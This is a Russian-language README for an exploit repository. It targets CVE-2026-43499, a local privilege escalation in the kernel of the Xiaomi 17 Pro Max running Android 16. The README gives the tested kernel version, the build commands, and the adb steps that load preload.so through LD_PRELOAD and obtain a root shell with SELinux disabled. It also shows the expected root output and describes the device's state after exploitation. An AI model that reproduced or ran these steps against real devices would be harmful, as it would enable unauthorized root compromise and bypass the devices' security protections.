CVE-2026-43499 для popsicle

Этот репозиторий содержит реализацию локального повышения привилегий CVE-2026-43499 на Xiaomi 17 Pro Max (popsicle) под управлением Android 16. Проверенное ядро:

6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k

Все устройства Xiaomi 17, Pro и Ultra, использующие это ядро, проверены и работают.

Генерация target

Зависимости: Python 3 и llvm-objdump:

python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  -o source/src/target.h

Сборка

make -C source clean preload

Если NDK не обнаружен автоматически:

NDK_ROOT=/path/to/android-ndk make -C source clean preload

Конечный артефакт:

source/build/bin/preload.so

Запуск

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

При успехе вы увидите:

uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0

После эксплуатации можно включить экран, разблокировать и войти в рабочий стол, но вновь запущенные приложения Android не могут завершить инициализацию Framework и вылетают; после перезагрузки запуск приложений восстанавливается.